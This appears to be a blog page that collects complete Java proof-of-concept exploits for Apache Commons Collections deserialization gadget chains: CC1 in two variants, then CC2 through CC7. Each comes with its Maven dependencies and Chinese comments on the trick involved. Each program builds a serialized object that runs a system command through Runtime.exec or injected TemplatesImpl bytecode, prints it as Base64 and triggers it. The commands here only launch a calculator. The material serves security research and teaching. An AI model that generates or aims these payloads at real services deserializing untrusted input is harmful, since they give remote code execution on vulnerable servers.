CC-GadgetChainMap

image-20231219123305619

CC1_LazyMap

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/*
Dependent version:
commons-collections: 3.1
Jdk < 8u71

Gadget chain:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
*/

public class CommonsCollections1_LazyMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),chainedTransformer);

// AnnotationInvocationHandler构造方法是default,不能直接获取,反射
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
// 创建动态代理对象,这里不用进入AnnotationInvocationHandler的if判断,第一个参数就可以随便传
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);

// 被动态代理的对象调用任意方法都会调用对应的代理类的invoke方法,AnnotationInvocationHandler.invoke() -> LazyMap.get()
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);

// 实例化AnnotationInvocationHandler
Object obj = constructor.newInstance(Override.class,mapProxy);

System.out.println(Base64.getEncoder().encodeToString(serialize(obj)));
deserialize(serialize(obj));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

}

CC1_TransformedMap

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/*
Dependent version:
commons-collections: 3.1
Jdk < 8u71

Gadget chain:
AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
*/

public class CommonsCollections1_TransformedMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 这里HashMap的key是下面初始化AnnotationInvocationHandler时传入的注解类中存在的属性值
HashMap<Object,Object> map = new HashMap<>();
map.put("value","0");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

// AnnotationInvocationHandler是default,不能直接获取,反射
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
// 这里要进入AnnotationInvocationHandler的if判断
Object obj = constructor.newInstance(Target.class,transformedMap);

System.out.println(Base64.getEncoder().encodeToString(serialize(obj)));
deserialize(serialize(obj));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

}

CC6

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/*
Dependent version:
commons-collections: 3.1~3.2.1

Gadget chain:
HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
*/

public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),chainedTransformer);

// 序列化put时使他不能触发,先给一个无用值,最后反射修改
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(),"0");

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"1");
// put触发hash,hashCode方法计算时会在hashCode属性中缓存已经计算过的值,如果再次计算将直接返回值,所以需要删除其key
lazyMap.remove("0");

setFieldValue(tiedMapEntry,"map",lazyMap);

System.out.println(Base64.getEncoder().encodeToString(serialize(hashMap)));
deserialize(serialize(hashMap));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj,String fieldName,Object val) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,val);
}

}

CC3

1
2
3
4
5
6
7
8
9
10
11
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/*
Dependent version:
commons-collections: 3.1 - 3.2.1
javassist >= 3.20.0-GA (unnecessary)
Jdk < 8u71

Gadget chain:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.newInstance()
TemplatesImpl.newTransformer()

*/
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","2");
setFieldValue(templates,"_class",null);
//byte[] code = Files.readAllBytes(Paths.get("/Users/n2ryx/Documents/Compiler/IDEA/Payloads/target/classes/cc/Evil.class"));
setFieldValue(templates,"_bytecodes",new byte[][]{getByteCodes()});

// InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer()
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),chainedTransformer);

// AnnotationInvocationHandler构造方法是default,不能直接获取,反射
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
// 创建动态代理对象,这里不用进入AnnotationInvocationHandler的if判断,第一个参数就可以随便传
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);

// 被动态代理的对象调用任意方法都会调用对应的代理类的invoke方法,AnnotationInvocationHandler.invoke() -> LazyMap.get()
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);

// 实例化AnnotationInvocationHandler
Object obj = constructor.newInstance(Override.class,mapProxy);

System.out.println(Base64.getEncoder().encodeToString(serialize(obj)));
deserialize(serialize(obj));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj,String fieldName,Object val) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,val);
}

public static byte[] getByteCodes() throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("EvilClass");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a calculator\");");
return ctClass.toBytecode();
}
}

CC3_6

1
2
3
4
5
6
7
8
9
10
11
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/*
Dependent version:
commons-collections: 3.1 - 3.2.1
javassist >= 3.20.0-GA (unnecessary)

Gadget chain:
HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.newInstance()
TemplatesImpl.newTransformer()
*/

public class CommonsCollections3_6 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","2");
setFieldValue(templates,"_class",null);
//byte[] code = Files.readAllBytes(Paths.get("/Users/n2ryx/Documents/Compiler/IDEA/Payloads/target/classes/cc/Evil.class"));
setFieldValue(templates,"_bytecodes",new byte[][]{getByteCodes()});

// InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer()
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),chainedTransformer);

// 序列化put时使他不能触发,先给一个无用值,最后反射修改
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(),"0");

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"1");
// put触发hash,hashCode方法计算时会在hashCode属性中缓存已经计算过的值,如果再次计算将直接返回值,所以需要删除其key
lazyMap.remove("0");

setFieldValue(tiedMapEntry,"map",lazyMap);

System.out.println(Base64.getEncoder().encodeToString(serialize(hashMap)));
deserialize(serialize(hashMap));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj,String fieldName,Object val) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,val);
}

public static byte[] getByteCodes() throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("EvilClass");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a calculator\");");
return ctClass.toBytecode();
}
}

CC4

1
2
3
4
5
6
7
8
9
10
11
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

/*
Dependent version:
commons-collections4: 4.0
javassist >= 3.20.0-GA (unnecessary)

Gadget chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.newInstance()
TemplatesImpl.newTransformer()
*/

public class CommonsCollections4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","0");
setFieldValue(templates,"_class",null);
//byte[] code = Files.readAllBytes(Paths.get("/Users/n2ryx/Documents/Compiler/IDEA/Payloads/target/classes/cc/Evil.class"));
setFieldValue(templates,"_bytecodes",new byte[][]{getByteCodes()});

// InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// TransformingComparator在CommonsCollections4中实现了Serializable接口,传无用值,反射修改
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
// heapify()中(size >>> 1) - 1 >= 0,所以需要至少两位填充
priorityQueue.add(2);
priorityQueue.add(2);

setFieldValue(transformingComparator,"transformer",chainedTransformer);

System.out.println(Base64.getEncoder().encodeToString(serialize(priorityQueue)));
deserialize(serialize(priorityQueue));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj,String fieldName,Object val) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,val);
}

public static byte[] getByteCodes() throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("EvilClass");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a calculator\");");
return ctClass.toBytecode();
}
}

CC2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

/*
Dependent version:
commons-collections4: 4.0

Gadget chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
*/

public class CommonsCollections2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","0");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{getByteCodes()});

InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});

// TransformingComparator在CommonsCollections4中实现了Serializable接口,传无用值,反射修改
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(0));

PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
// heapify()中(size >>> 1) - 1 >= 0,所以需要至少两位填充
priorityQueue.add(templates);
priorityQueue.add(1);

setFieldValue(transformingComparator,"transformer",invokerTransformer);

System.out.println(Base64.getEncoder().encodeToString(serialize(priorityQueue)));
deserialize(serialize(priorityQueue));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj,String fieldName,Object val) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,val);
}

public static byte[] getByteCodes() throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("EvilClass");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a calculator\");");
return ctClass.toBytecode();
}
}

CC5

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/*
Dependent version:
commons-collections: 3.1 - 3.2.1
Jdk 8u76 without a security manager

Gadget chain:
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
*/

public class CommonsCollections5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"0");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);

System.out.println(Base64.getEncoder().encodeToString(serialize(badAttributeValueExpException)));
deserialize(serialize(badAttributeValueExpException));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj,String fieldName,Object val) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,val);
}
}

CC7

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

/*
Dependent version:
commons-collections: 3.2.1

Gadget chain:
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
*/
public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

// 创建两个具有冲突的哈希LazyMap,"yy".hashCode() == "zZ".hashCode()
Map lazyMap1 = LazyMap.decorate(new HashMap(),chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(new HashMap(),chainedTransformer);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 2);
hashtable.put(lazyMap2, 2);

lazyMap2.remove("yy");

setFieldValue(chainedTransformer, "iTransformers", transformers);

System.out.println(Base64.getEncoder().encodeToString(serialize(hashtable)));
deserialize(serialize(hashtable));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj,String fieldName,Object val) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,val);
}
}
⬆︎TOP